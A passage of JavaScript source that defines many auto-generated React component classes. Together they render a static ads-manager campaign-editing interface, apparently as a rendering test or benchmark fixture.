  render() {\n      if (this.props.x === 48) {\n        return React.createElement(\n          'span',\n          {display: 'inline', className: ' _50f7'},\n          'Ads Manager'\n        );\n      }\n      if (this.props.x === 205) {\n        return React.createElement(\n          'span',\n          {className: '_2x9f  _50f5 _50f7', display: 'inline'},\n          'Editing Campaign'\n        );\n      }\n      if (this.props.x === 206) {\n        return React.createElement(\n          'span',\n          {display: 'inline', className: ' _50f5 _50f7'},\n          'Test Campaign'\n        );\n      }\n    }\n  }\n\n  class XUINotice30 extends React.Component {\n    render() {\n      if (this.props.x === 51) {\n        return React.createElement(\n          'div',\n          {size: 'medium', className: '_585n _585o _2wdd'},\n          React.createElement(ReactImage0, {x: 42}),\n          React.createElement(XUICloseButton28, {x: 47}),\n          React.createElement(\n            'div',\n            {className: '_585r _2i-a _50f4'},\n            'Please go to ',\n            React.createElement(Link2, {x: 50}),\n            ' to set up a payment method for this ad account.'\n          )\n        );\n      }\n    }\n  }\n\n  class ReactCSSTransitionGroupChild31 extends React.Component {\n    render() {\n      if (this.props.x === 52) {\n        return React.createElement(XUINotice30, {x: 51});\n      }\n    }\n  }\n\n  class ReactTransitionGroup32 extends React.Component {\n    render() {\n      if (this.props.x === 53) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(ReactCSSTransitionGroupChild31, {\n            x: 52,\n            key: '.0',\n          })\n        );\n      }\n    }\n  }\n\n  class ReactCSSTransitionGroup33 extends React.Component {\n    render() {\n      if (this.props.x === 54) {\n        return React.createElement(ReactTransitionGroup32, {x: 53});\n      }\n    }\n  }\n\n  class AdsPETopError34 extends React.Component {\n    render() {\n      if (this.props.x === 55) {\n        return React.createElement(\n          'div',\n          {className: '_2wdc'},\n          React.createElement(ReactCSSTransitionGroup33, {x: 54})\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsPETopErrorContainer_35 extends React.Component {\n    render() {\n      if (this.props.x === 56) {\n        return React.createElement(AdsPETopError34, {x: 55});\n      }\n    }\n  }\n\n  class FluxContainer_AdsGuidanceChannel_36 extends React.Component {\n    render() {\n      if (this.props.x === 59) {\n        return null;\n      }\n    }\n  }\n\n  class ResponsiveBlock37 extends React.Component {\n    render() {\n      if (this.props.x === 62) {\n        return React.createElement(\n          'div',\n          {className: '_4u-c'},\n          [\n            React.createElement(AdsErrorBoundary10, {x: 58, key: 1}),\n            React.createElement(AdsErrorBoundary10, {x: 61, key: 2}),\n          ],\n          React.createElement(\n            'div',\n            {key: 'sensor', className: '_4u-f'},\n            React.createElement('iframe', {\n              'aria-hidden': 'true',\n              className: '_1_xb',\n              tabIndex: '-1',\n            })\n          )\n        );\n      }\n      if (this.props.x === 469) {\n        return React.createElement(\n          'div',\n          {className: '_4u-c'},\n          React.createElement(AdsPEDataTableContainer158, {x: 468}),\n          React.createElement(\n            'div',\n            {key: 'sensor', className: '_4u-f'},\n            React.createElement('iframe', {\n              'aria-hidden': 'true',\n              className: '_1_xb',\n              tabIndex: '-1',\n            })\n          )\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsBulkEditDialogContainer_38 extends React.Component {\n    render() {\n      if (this.props.x === 63) {\n        return null;\n      }\n    }\n  }\n\n  class Column39 extends React.Component {\n    render() {\n      if (this.props.x === 66) {\n        return React.createElement(\n          'div',\n          {className: '_4bl8 _4bl7'},\n          React.createElement(\n            'div',\n            {className: '_3c5f'},\n            null,\n            null,\n            React.createElement('div', {className: '_3c5i'}),\n            null\n          )\n        );\n      }\n    }\n  }\n\n  class XUIButtonGroup40 extends React.Component {\n    render() {\n      if (this.props.x === 75) {\n        return React.createElement(\n          'div',\n          {className: '_5n7z _51xa'},\n          React.createElement(XUIButton4, {x: 69}),\n          React.createElement(ReactPopoverMenu20, {x: 74})\n        );\n      }\n      if (this.props.x === 84) {\n        return React.createElement(\n          'div',\n          {className: '_5n7z _51xa'},\n          React.createElement(XUIButton4, {x: 78, key: 'edit'}),\n          React.createElement(ReactPopoverMenu20, {x: 83, key: 'editMenu'})\n        );\n      }\n      if (this.props.x === 97) {\n        return React.createElement(\n          'div',\n          {className: '_5n7z _51xa'},\n          React.createElement(XUIButton4, {x: 90, key: 'revert'}),\n          React.createElement(XUIButton4, {x: 93, key: 'delete'}),\n          React.createElement(XUIButton4, {x: 96, key: 'duplicate'})\n        );\n      }\n      if (this.props.x === 117) {\n        return React.createElement(\n          'div',\n          {className: '_5n7z _51xa'},\n          React.createElement(AdsPEExportImportMenuContainer48, {x: 107}),\n          React.createElement(XUIButton4, {x: 110, key: 'createReport'}),\n          React.createElement(AdsPECampaignGroupTagContainer51, {\n            x: 116,\n            key: 'tags',\n          })\n        );\n      }\n    }\n  }\n\n  class AdsPEEditToolbarButton41 extends React.Component {\n    render() {\n      if (this.props.x === 85) {\n        return React.createElement(XUIButtonGroup40, {x: 84});\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42 extends React.Component {\n    render() {\n      if (this.props.x === 86) {\n        return React.createElement(AdsPEEditToolbarButton41, {x: 85});\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEEditToolbarButtonContainer_43 extends React.Component {\n    render() {\n      if (this.props.x === 87) {\n        return React.createElement(\n          FluxContainer_AdsPEEditCampaignGroupToolbarButtonContainer_42,\n          {x: 86}\n        );\n      }\n    }\n  }\n\n  class AdsPEExportImportMenu44 extends React.Component {\n    render() {\n      if (this.props.x === 103) {\n        return React.createElement(ReactPopoverMenu20, {x: 102, key: 'export'});\n      }\n    }\n  }\n\n  class FluxContainer_AdsPECustomizeExportContainer_45 extends React.Component {\n    render() {\n      if (this.props.x === 104) {\n        return null;\n      }\n    }\n  }\n\n  class AdsPEExportAsTextDialog46 extends React.Component {\n    render() {\n      if (this.props.x === 105) {\n        return null;\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEExportAsTextDialogContainer_47 extends React.Component {\n    render() {\n      if (this.props.x === 106) {\n        return React.createElement(AdsPEExportAsTextDialog46, {x: 105});\n      }\n    }\n  }\n\n  class AdsPEExportImportMenuContainer48 extends React.Component {\n    render() {\n      if (this.props.x === 107) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(AdsPEExportImportMenu44, {x: 103}),\n          React.createElement(FluxContainer_AdsPECustomizeExportContainer_45, {\n            x: 104,\n          }),\n          React.createElement(\n            FluxContainer_AdsPEExportAsTextDialogContainer_47,\n            {x: 106}\n          ),\n          null,\n          null\n        );\n      }\n    }\n  }\n\n  class Constructor49 extends React.Component {\n    render() {\n      if (this.props.x === 114) {\n        return null;\n      }\n      if (this.props.x === 142) {\n        return null;\n      }\n      if (this.props.x === 143) {\n        return null;\n      }\n      if (this.props.x === 183) {\n        return null;\n      }\n    }\n  }\n\n  class TagSelectorPopover50 extends React.Component {\n    render() {\n      if (this.props.x === 115) {\n        return React.createElement(\n          'span',\n          {className: ' _3d6e'},\n          React.createElement(XUIButton4, {x: 113}),\n          React.createElement(Constructor49, {x: 114, key: 'layer'})\n        );\n      }\n    }\n  }\n\n  class AdsPECampaignGroupTagContainer51 extends React.Component {\n    render() {\n      if (this.props.x === 116) {\n        return React.createElement(TagSelectorPopover50, {\n          x: 115,\n          key: '98010048849317',\n        });\n      }\n    }\n  }\n\n  class AdsRuleToolbarMenu52 extends React.Component {\n    render() {\n      if (this.props.x === 118) {\n        return null;\n      }\n    }\n  }\n\n  class FluxContainer_AdsPERuleToolbarMenuContainer_53 extends React.Component {\n    render() {\n      if (this.props.x === 119) {\n        return React.createElement(AdsRuleToolbarMenu52, {x: 118});\n      }\n    }\n  }\n\n  class FillColumn54 extends React.Component {\n    render() {\n      if (this.props.x === 120) {\n        return React.createElement(\n          'div',\n          {className: '_4bl9'},\n          React.createElement(\n            'span',\n            {className: '_3c5e'},\n            React.createElement(\n              'span',\n              null,\n              React.createElement(XUIButtonGroup40, {x: 75}),\n              React.createElement(\n                FluxContainer_AdsPEEditToolbarButtonContainer_43,\n                {x: 87}\n              ),\n              null,\n              React.createElement(XUIButtonGroup40, {x: 97})\n            ),\n            React.createElement(XUIButtonGroup40, {x: 117}),\n            React.createElement(\n              FluxContainer_AdsPERuleToolbarMenuContainer_53,\n              {x: 119}\n            )\n          )\n        );\n      }\n    }\n  }\n\n  class Layout55 extends React.Component {\n    render() {\n      if (this.props.x === 121) {\n        return React.createElement(\n          'div',\n          {className: 'clearfix'},\n          React.createElement(Column39, {x: 66, key: '1'}),\n          React.createElement(FillColumn54, {x: 120, key: '0'})\n        );\n      }\n    }\n  }\n\n  class AdsPEMainPaneToolbar56 extends React.Component {\n    render() {\n      if (this.props.x === 122) {\n        return React.createElement(\n          'div',\n          {className: '_3c5b clearfix'},\n          React.createElement(Layout55, {x: 121})\n        );\n      }\n    }\n  }\n\n  class AdsPECampaignGroupToolbarContainer57 extends React.Component {\n    render() {\n      if (this.props.x === 123) {\n        return React.createElement(AdsPEMainPaneToolbar56, {x: 122});\n      }\n    }\n  }\n\n  class AdsPEFiltersPopover58 extends React.Component {\n    render() {\n      if (this.props.x === 144) {\n        return React.createElement(\n          'span',\n          {className: '_5b-l  _5bbe'},\n          React.createElement(ReactXUIPopoverButton6, {x: 133}),\n          React.createElement(ReactXUIPopoverButton6, {x: 141}),\n          [\n            React.createElement(Constructor49, {x: 142, key: 'filterMenu/.0'}),\n            React.createElement(Constructor49, {x: 143, key: 'searchMenu/.0'}),\n          ]\n        );\n      }\n    }\n  }\n\n  class AbstractCheckboxInput59 extends React.Component {\n    render() {\n      if (this.props.x === 145) {\n        return React.createElement(\n          'label',\n          {className: 'uiInputLabelInput _55sg _kv1'},\n          React.createElement('input', {\n            checked: true,\n            disabled: true,\n            name: 'filterUnpublished',\n            value: 'on',\n            onClick: function () {},\n            className: null,\n            id: 'js_input_label_21',\n            type: 'checkbox',\n          }),\n          React.createElement('span', {\n            'data-hover': null,\n            'data-tooltip-content': undefined,\n          })\n        );\n      }\n      if (this.props.x === 336) {\n        return React.createElement(\n          'label',\n          {className: '_4h2r _55sg _kv1'},\n          React.createElement('input', {\n            checked: undefined,\n            onChange: function () {},\n            className: null,\n            type: 'checkbox',\n          }),\n          React.createElement('span', {\n            'data-hover': null,\n            'data-tooltip-content': undefined,\n          })\n        );\n      }\n    }\n  }\n\n  class XUICheckboxInput60 extends React.Component {\n    render() {\n      if (this.props.x === 146) {\n        return React.createElement(AbstractCheckboxInput59, {x: 145});\n      }\n      if (this.props.x === 337) {\n        return React.createElement(AbstractCheckboxInput59, {x: 336});\n      }\n    }\n  }\n\n  class InputLabel61 extends React.Component {\n    render() {\n      if (this.props.x === 147) {\n        return React.createElement(\n          'div',\n          {display: 'block', className: 'uiInputLabel clearfix'},\n          React.createElement(XUICheckboxInput60, {x: 146}),\n          React.createElement(\n            'label',\n            {className: 'uiInputLabelLabel', htmlFor: 'js_input_label_21'},\n            'Always show new items'\n          )\n        );\n      }\n    }\n  }\n\n  class AdsPopoverLink62 extends React.Component {\n    render() {\n      if (this.props.x === 154) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(\n            'span',\n            {\n              onMouseEnter: function () {},\n              onMouseLeave: function () {},\n              onMouseUp: undefined,\n            },\n            React.createElement('span', {className: '_3o_j'}),\n            React.createElement(ReactImage0, {x: 153})\n          ),\n          null\n        );\n      }\n      if (this.props.x === 238) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(\n            'span',\n            {\n              onMouseEnter: function () {},\n              onMouseLeave: function () {},\n              onMouseUp: undefined,\n            },\n            React.createElement('span', {className: '_3o_j'}),\n            React.createElement(ReactImage0, {x: 237})\n          ),\n          null\n        );\n      }\n    }\n  }\n\n  class AdsHelpLink63 extends React.Component {\n    render() {\n      if (this.props.x === 155) {\n        return React.createElement(AdsPopoverLink62, {x: 154});\n      }\n      if (this.props.x === 239) {\n        return React.createElement(AdsPopoverLink62, {x: 238});\n      }\n    }\n  }\n\n  class BUIFilterTokenInput64 extends React.Component {\n    render() {\n      if (this.props.x === 158) {\n        return React.createElement(\n          'div',\n          {className: '_5b5o _3yz3 _4cld'},\n          React.createElement(\n            'div',\n            {className: '_5b5t _2d2k'},\n            React.createElement(ReactImage0, {x: 152}),\n            React.createElement(\n              'div',\n              {className: '_5b5r'},\n              'Campaigns: (1)',\n              React.createElement(AdsHelpLink63, {x: 155})\n            )\n          ),\n          React.createElement(XUIButton4, {x: 157})\n        );\n      }\n    }\n  }\n\n  class BUIFilterToken65 extends React.Component {\n    render() {\n      if (this.props.x === 159) {\n        return React.createElement(\n          'div',\n          {className: '_3yz1 _3yz2 _3dad'},\n          React.createElement(\n            'div',\n            {className: '_3yz4', 'aria-hidden': false},\n            React.createElement(\n              'div',\n              {onClick: function () {}, className: '_3yz5'},\n              React.createElement(ReactImage0, {x: 148}),\n              React.createElement('div', {className: '_3yz7'}, 'Campaigns:'),\n              React.createElement(\n                'div',\n                {\n                  className: 'ellipsis _3yz8',\n                  'data-hover': 'tooltip',\n                  'data-tooltip-display': 'overflow',\n                },\n                '(1)'\n              )\n            ),\n            null,\n            React.createElement(XUICloseButton28, {x: 151})\n          ),\n          React.createElement(BUIFilterTokenInput64, {x: 158})\n        );\n      }\n    }\n  }\n\n  class BUIFilterTokenCreateButton66 extends React.Component {\n    render() {\n      if (this.props.x === 163) {\n        return React.createElement(\n          'div',\n          {className: '_1tc'},\n          React.createElement(XUIButton4, {x: 162})\n        );\n      }\n    }\n  }\n\n  class BUIFilterTokenizer67 extends React.Component {\n    render() {\n      if (this.props.x === 164) {\n        return React.createElement(\n          'div',\n          {className: '_5b-m  clearfix'},\n          undefined,\n          [],\n          React.createElement(BUIFilterToken65, {x: 159, key: 'token0'}),\n          React.createElement(BUIFilterTokenCreateButton66, {x: 163}),\n          null,\n          React.createElement('div', {className: '_49u3'})\n        );\n      }\n    }\n  }\n\n  class XUIAmbientNUX68 extends React.Component {\n    render() {\n      if (this.props.x === 165) {\n        return null;\n      }\n      if (this.props.x === 189) {\n        return null;\n      }\n      if (this.props.x === 200) {\n        return null;\n      }\n    }\n  }\n\n  class XUIAmbientNUX69 extends React.Component {\n    render() {\n      if (this.props.x === 166) {\n        return React.createElement(XUIAmbientNUX68, {x: 165});\n      }\n      if (this.props.x === 190) {\n        return React.createElement(XUIAmbientNUX68, {x: 189});\n      }\n      if (this.props.x === 201) {\n        return React.createElement(XUIAmbientNUX68, {x: 200});\n      }\n    }\n  }\n\n  class AdsPEAmbientNUXMegaphone70 extends React.Component {\n    render() {\n      if (this.props.x === 167) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement('span', {}),\n          React.createElement(XUIAmbientNUX69, {x: 166, key: 'nux'})\n        );\n      }\n    }\n  }\n\n  class AdsPEFilters71 extends React.Component {\n    render() {\n      if (this.props.x === 168) {\n        return React.createElement(\n          'div',\n          {className: '_4rw_'},\n          React.createElement(AdsPEFiltersPopover58, {x: 144}),\n          React.createElement(\n            'div',\n            {className: '_1eo'},\n            React.createElement(InputLabel61, {x: 147})\n          ),\n          React.createElement(BUIFilterTokenizer67, {x: 164}),\n          '',\n          React.createElement(AdsPEAmbientNUXMegaphone70, {x: 167})\n        );\n      }\n    }\n  }\n\n  class AdsPEFilterContainer72 extends React.Component {\n    render() {\n      if (this.props.x === 169) {\n        return React.createElement(AdsPEFilters71, {x: 168});\n      }\n    }\n  }\n\n  class AdsPETablePager73 extends React.Component {\n    render() {\n      if (this.props.x === 172) {\n        return null;\n      }\n    }\n  }\n\n  class AdsPECampaignGroupTablePagerContainer74 extends React.Component {\n    render() {\n      if (this.props.x === 173) {\n        return React.createElement(AdsPETablePager73, {x: 172});\n      }\n    }\n  }\n\n  class AdsPETablePagerContainer75 extends React.Component {\n    render() {\n      if (this.props.x === 174) {\n        return React.createElement(AdsPECampaignGroupTablePagerContainer74, {\n          x: 173,\n        });\n      }\n    }\n  }\n\n  class ReactXUIError76 extends React.Component {\n    render() {\n      if (this.props.x === 181) {\n        return React.createElement(AbstractButton3, {x: 180});\n      }\n      if (this.props.x === 216) {\n        return React.createElement(\n          'div',\n          {className: '_40bf _2vl4 _1h18'},\n          null,\n          null,\n          React.createElement(\n            'div',\n            {className: '_2vl9 _1h1f', style: {backgroundColor: '#fff'}},\n            React.createElement(\n              'div',\n              {className: '_2vla _1h1g'},\n              React.createElement(\n                'div',\n                null,\n                null,\n                React.createElement('textarea', {\n                  className: '_2vli _2vlj _1h26 _1h27',\n                  dir: 'auto',\n                  disabled: undefined,\n                  id: undefined,\n                  maxLength: null,\n                  value: 'Test Campaign',\n                  onBlur: function () {},\n                  onChange: function () {},\n                  onFocus: function () {},\n                  onKeyDown: function () {},\n                }),\n                null\n              ),\n              React.createElement('div', {\n                'aria-hidden': 'true',\n                className: '_2vlk',\n              })\n            )\n          ),\n          null\n        );\n      }\n      if (this.props.x === 221) {\n        return React.createElement(XUICard94, {x: 220});\n      }\n      if (this.props.x === 250) {\n        return React.createElement(XUICard94, {x: 249});\n      }\n      if (this.props.x === 280) {\n        return React.createElement(XUICard94, {x: 279});\n      }\n    }\n  }\n\n  class BUIPopoverButton77 extends React.Component {\n    render() {\n      if (this.props.x === 182) {\n        return React.createElement(ReactXUIError76, {x: 181});\n      }\n    }\n  }\n\n  class BUIDateRangePicker78 extends React.Component {\n    render() {\n      if (this.props.x === 184) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(BUIPopoverButton77, {x: 182}),\n          [React.createElement(Constructor49, {x: 183, key: 'layer/.0'})]\n        );\n      }\n    }\n  }\n\n  class AdsPEStatsRangePicker79 extends React.Component {\n    render() {\n      if (this.props.x === 185) {\n        return React.createElement(BUIDateRangePicker78, {x: 184});\n      }\n    }\n  }\n\n  class AdsPEStatRange80 extends React.Component {\n    render() {\n      if (this.props.x === 191) {\n        return React.createElement(\n          'div',\n          {className: '_3c5k'},\n          React.createElement('span', {className: '_3c5j'}, 'Stats:'),\n          React.createElement(\n            'span',\n            {className: '_3c5l'},\n            React.createElement(AdsPEStatsRangePicker79, {x: 185}),\n            React.createElement(XUIButton4, {x: 188, key: 'settings'})\n          ),\n          [React.createElement(XUIAmbientNUX69, {x: 190, key: 'roasNUX/.0'})]\n        );\n      }\n    }\n  }\n\n  class AdsPEStatRangeContainer81 extends React.Component {\n    render() {\n      if (this.props.x === 192) {\n        return React.createElement(AdsPEStatRange80, {x: 191});\n      }\n    }\n  }\n\n  class AdsPESideTrayTabButton82 extends React.Component {\n    render() {\n      if (this.props.x === 196) {\n        return React.createElement(\n          'div',\n          {className: '_1-ly _59j9 _d9a', onClick: function () {}},\n          React.createElement(ReactImage0, {x: 195}),\n          React.createElement('div', {className: '_vf7'}),\n          React.createElement('div', {className: '_vf8'})\n        );\n      }\n      if (this.props.x === 199) {\n        return React.createElement(\n          'div',\n          {className: ' _1-lz _d9a', onClick: function () {}},\n          React.createElement(ReactImage0, {x: 198}),\n          React.createElement('div', {className: '_vf7'}),\n          React.createElement('div', {className: '_vf8'})\n        );\n      }\n      if (this.props.x === 203) {\n        return null;\n      }\n    }\n  }\n\n  class AdsPEEditorTrayTabButton83 extends React.Component {\n    render() {\n      if (this.props.x === 197) {\n        return React.createElement(AdsPESideTrayTabButton82, {x: 196});\n      }\n    }\n  }\n\n  class AdsPEInsightsTrayTabButton84 extends React.Component {\n    render() {\n      if (this.props.x === 202) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(AdsPESideTrayTabButton82, {x: 199}),\n          React.createElement(XUIAmbientNUX69, {x: 201, key: 'roasNUX'})\n        );\n      }\n    }\n  }\n\n  class AdsPENekoDebuggerTrayTabButton85 extends React.Component {\n    render() {\n      if (this.props.x === 204) {\n        return React.createElement(AdsPESideTrayTabButton82, {x: 203});\n      }\n    }\n  }\n\n  class AdsPEEditorChildLink86 extends React.Component {\n    render() {\n      if (this.props.x === 211) {\n        return React.createElement(\n          'div',\n          {className: '_3ywr'},\n          React.createElement(Link2, {x: 208}),\n          React.createElement('span', {className: '_3ywq'}, '|'),\n          React.createElement(Link2, {x: 210})\n        );\n      }\n    }\n  }\n\n  class AdsPEEditorChildLinkContainer87 extends React.Component {\n    render() {\n      if (this.props.x === 212) {\n        return React.createElement(AdsPEEditorChildLink86, {x: 211});\n      }\n    }\n  }\n\n  class AdsPEHeaderSection88 extends React.Component {\n    render() {\n      if (this.props.x === 213) {\n        return React.createElement(\n          'div',\n          {className: '_yke'},\n          React.createElement('div', {className: '_2x9d _pr-'}),\n          React.createElement(XUIText29, {x: 205}),\n          React.createElement(\n            'div',\n            {className: '_3a-a'},\n            React.createElement(\n              'div',\n              {className: '_3a-b'},\n              React.createElement(XUIText29, {x: 206})\n            )\n          ),\n          React.createElement(AdsPEEditorChildLinkContainer87, {x: 212})\n        );\n      }\n    }\n  }\n\n  class AdsPECampaignGroupHeaderSectionContainer89 extends React.Component {\n    render() {\n      if (this.props.x === 214) {\n        return React.createElement(AdsPEHeaderSection88, {x: 213});\n      }\n    }\n  }\n\n  class AdsEditorLoadingErrors90 extends React.Component {\n    render() {\n      if (this.props.x === 215) {\n        return null;\n      }\n    }\n  }\n\n  class AdsTextInput91 extends React.Component {\n    render() {\n      if (this.props.x === 217) {\n        return React.createElement(ReactXUIError76, {x: 216});\n      }\n    }\n  }\n\n  class BUIFormElement92 extends React.Component {\n    render() {\n      if (this.props.x === 218) {\n        return React.createElement(\n          'div',\n          {className: '_5521 clearfix'},\n          React.createElement(\n            'div',\n            {className: '_5522 _3w5q'},\n            React.createElement(\n              'label',\n              {\n                onClick: undefined,\n                htmlFor: '1467872040612:1961945894',\n                className: '_5523 _3w5r',\n              },\n              'Campaign Name',\n              null\n            )\n          ),\n          React.createElement(\n            'div',\n            {className: '_5527'},\n            React.createElement(\n              'div',\n              {className: '_5528'},\n              React.createElement(\n                'span',\n                {key: '.0', className: '_40bg', id: '1467872040612:1961945894'},\n                React.createElement(AdsTextInput91, {\n                  x: 217,\n                  key: 'nameEditor98010048849317',\n                }),\n                null\n              )\n            ),\n            null\n          )\n        );\n      }\n    }\n  }\n\n  class BUIForm93 extends React.Component {\n    render() {\n      if (this.props.x === 219) {\n        return React.createElement(\n          'div',\n          {className: '_5ks1 _550r  _550t _550y _3w5n'},\n          React.createElement(BUIFormElement92, {x: 218, key: '.0'})\n        );\n      }\n    }\n  }\n\n  class XUICard94 extends React.Component {\n    render() {\n      if (this.props.x === 220) {\n        return React.createElement(\n          'div',\n          {className: '_40bc _12k2 _4-u2  _4-u8'},\n          React.createElement(BUIForm93, {x: 219})\n        );\n      }\n      if (this.props.x === 249) {\n        return React.createElement(\n          'div',\n          {className: '_12k2 _4-u2  _4-u8'},\n          React.createElement(AdsCardHeader103, {x: 230}),\n          React.createElement(AdsCardSection108, {x: 248})\n        );\n      }\n      if (this.props.x === 279) {\n        return React.createElement(\n          'div',\n          {className: '_12k2 _4-u2  _4-u8'},\n          React.createElement(AdsCardLeftRightHeader122, {x: 278})\n        );\n      }\n    }\n  }\n\n  class AdsCard95 extends React.Component {\n    render() {\n      if (this.props.x === 222) {\n        return React.createElement(ReactXUIError76, {x: 221});\n      }\n      if (this.props.x === 251) {\n        return React.createElement(ReactXUIError76, {x: 250});\n      }\n      if (this.props.x === 281) {\n        return React.createElement(ReactXUIError76, {x: 280});\n      }\n    }\n  }\n\n  class AdsEditorNameSection96 extends React.Component {\n    render() {\n      if (this.props.x === 223) {\n        return React.createElement(AdsCard95, {x: 222});\n      }\n    }\n  }\n\n  class AdsCampaignGroupNameSectionContainer97 extends React.Component {\n    render() {\n      if (this.props.x === 224) {\n        return React.createElement(AdsEditorNameSection96, {\n          x: 223,\n          key: 'nameSection98010048849317',\n        });\n      }\n    }\n  }\n\n  class _render98 extends React.Component {\n    render() {\n      if (this.props.x === 225) {\n        return React.createElement(AdsCampaignGroupNameSectionContainer97, {\n          x: 224,\n        });\n      }\n    }\n  }\n\n  class AdsPluginWrapper99 extends React.Component {\n    render() {\n      if (this.props.x === 226) {\n        return React.createElement(_render98, {x: 225});\n      }\n      if (this.props.x === 255) {\n        return React.createElement(_render111, {x: 254});\n      }\n      if (this.props.x === 258) {\n        return React.createElement(_render113, {x: 257});\n      }\n      if (this.props.x === 287) {\n        return React.createElement(_render127, {x: 286});\n      }\n      if (this.props.x === 291) {\n        return React.createElement(_render130, {x: 290});\n      }\n    }\n  }\n\n  class XUICardHeaderTitle100 extends React.Component {\n    render() {\n      if (this.props.x === 227) {\n        return React.createElement(\n          'span',\n          {className: '_38my'},\n          'Campaign Details',\n          null,\n          React.createElement('span', {className: '_c1c'})\n        );\n      }\n      if (this.props.x === 265) {\n        return React.createElement(\n          'span',\n          {className: '_38my'},\n          [\n            React.createElement(\n              'span',\n              {key: 1},\n              'Campaign ID',\n              ': ',\n              '98010048849317'\n            ),\n            React.createElement(\n              'div',\n              {className: '_5lh9', key: 2},\n              React.createElement(\n                FluxContainer_AdsCampaignGroupStatusSwitchContainer_119,\n                {x: 264}\n              )\n            ),\n          ],\n          null,\n          React.createElement('span', {className: '_c1c'})\n        );\n      }\n    }\n  }\n\n  class XUICardSection101 extends React.Component {\n    render() {\n      if (this.props.x === 228) {\n        return React.createElement(\n          'div',\n          {className: '_5dw9 _5dwa _4-u3'},\n          [React.createElement(XUICardHeaderTitle100, {x: 227, key: '.0'})],\n          undefined,\n          undefined,\n          React.createElement('div', {className: '_3s3-'})\n        );\n      }\n      if (this.props.x === 247) {\n        return React.createElement(\n          'div',\n          {className: '_12jy _4-u3'},\n          React.createElement(\n            'div',\n            {className: '_3-8j'},\n            React.createElement(FlexibleBlock105, {x: 233}),\n            React.createElement(FlexibleBlock105, {x: 236}),\n            React.createElement(FlexibleBlock105, {x: 246}),\n            null,\n            null\n          )\n        );\n      }\n    }\n  }\n\n  class XUICardHeader102 extends React.Component {\n    render() {\n      if (this.props.x === 229) {\n        return React.createElement(XUICardSection101, {x: 228});\n      }\n    }\n  }\n\n  class AdsCardHeader103 extends React.Component {\n    render() {\n      if (this.props.x === 230) {\n        return React.createElement(XUICardHeader102, {x: 229});\n      }\n    }\n  }\n\n  class AdsLabeledField104 extends React.Component {\n    render() {\n      if (this.props.x === 231) {\n        return React.createElement(\n          'div',\n          {className: '_2oc6 _3bvz', label: 'Objective'},\n          React.createElement(\n            'label',\n            {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n            'Objective '\n          ),\n          null,\n          React.createElement('div', {className: '_3bv-'})\n        );\n      }\n      if (this.props.x === 234) {\n        return React.createElement(\n          'div',\n          {className: '_2oc6 _3bvz', label: 'Buying Type'},\n          React.createElement(\n            'label',\n            {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n            'Buying Type '\n          ),\n          null,\n          React.createElement('div', {className: '_3bv-'})\n        );\n      }\n      if (this.props.x === 240) {\n        return React.createElement(\n          'div',\n          {className: '_2oc6 _3bvz'},\n          React.createElement(\n            'label',\n            {className: '_4el4 _3qwj _3hy-', htmlFor: undefined},\n            'Campaign Spending Limit '\n          ),\n          React.createElement(AdsHelpLink63, {x: 239}),\n          React.createElement('div', {className: '_3bv-'})\n        );\n      }\n    }\n  }\n\n  class FlexibleBlock105 extends React.Component {\n    render() {\n      if (this.props.x === 233) {\n        return React.createElement(LeftRight21, {x: 232});\n      }\n      if (this.props.x === 236) {\n        return React.createElement(LeftRight21, {x: 235});\n      }\n      if (this.props.x === 246) {\n        return React.createElement(LeftRight21, {x: 245});\n      }\n    }\n  }\n\n  class AdsBulkCampaignSpendCapField106 extends React.Component {\n    render() {\n      if (this.props.x === 243) {\n        return React.createElement(\n          'div',\n          {className: '_33dv'},\n          '',\n          React.createElement(Link2, {x: 242}),\n          ' (optional)'\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsCampaignGroupSpendCapContainer_107 extends React.Component {\n    render() {\n      if (this.props.x === 244) {\n        return React.createElement(AdsBulkCampaignSpendCapField106, {x: 243});\n      }\n    }\n  }\n\n  class AdsCardSection108 extends React.Component {\n    render() {\n      if (this.props.x === 248) {\n        return React.createElement(XUICardSection101, {x: 247});\n      }\n    }\n  }\n\n  class AdsEditorCampaignGroupDetailsSection109 extends React.Component {\n    render() {\n      if (this.props.x === 252) {\n        return React.createElement(AdsCard95, {x: 251});\n      }\n    }\n  }\n\n  class AdsEditorCampaignGroupDetailsSectionContainer110 extends React.Component {\n    render() {\n      if (this.props.x === 253) {\n        return React.createElement(AdsEditorCampaignGroupDetailsSection109, {\n          x: 252,\n          key: 'campaignGroupDetailsSection98010048849317',\n        });\n      }\n    }\n  }\n\n  class _render111 extends React.Component {\n    render() {\n      if (this.props.x === 254) {\n        return React.createElement(\n          AdsEditorCampaignGroupDetailsSectionContainer110,\n          {x: 253}\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsEditorToplineDetailsSectionContainer_112 extends React.Component {\n    render() {\n      if (this.props.x === 256) {\n        return null;\n      }\n    }\n  }\n\n  class _render113 extends React.Component {\n    render() {\n      if (this.props.x === 257) {\n        return React.createElement(\n          FluxContainer_AdsEditorToplineDetailsSectionContainer_112,\n          {x: 256}\n        );\n      }\n    }\n  }\n\n  class AdsStickyArea114 extends React.Component {\n    render() {\n      if (this.props.x === 259) {\n        return React.createElement(\n          'div',\n          {},\n          React.createElement('div', {onWheel: function () {}})\n        );\n      }\n      if (this.props.x === 292) {\n        return React.createElement(\n          'div',\n          {},\n          React.createElement('div', {onWheel: function () {}}, [\n            React.createElement(\n              'div',\n              {key: 'campaign_group_errors_section98010048849317'},\n              React.createElement(AdsPluginWrapper99, {x: 291})\n            ),\n          ])\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsEditorColumnContainer_115 extends React.Component {\n    render() {\n      if (this.props.x === 260) {\n        return React.createElement(\n          'div',\n          null,\n          [\n            React.createElement(\n              'div',\n              {key: 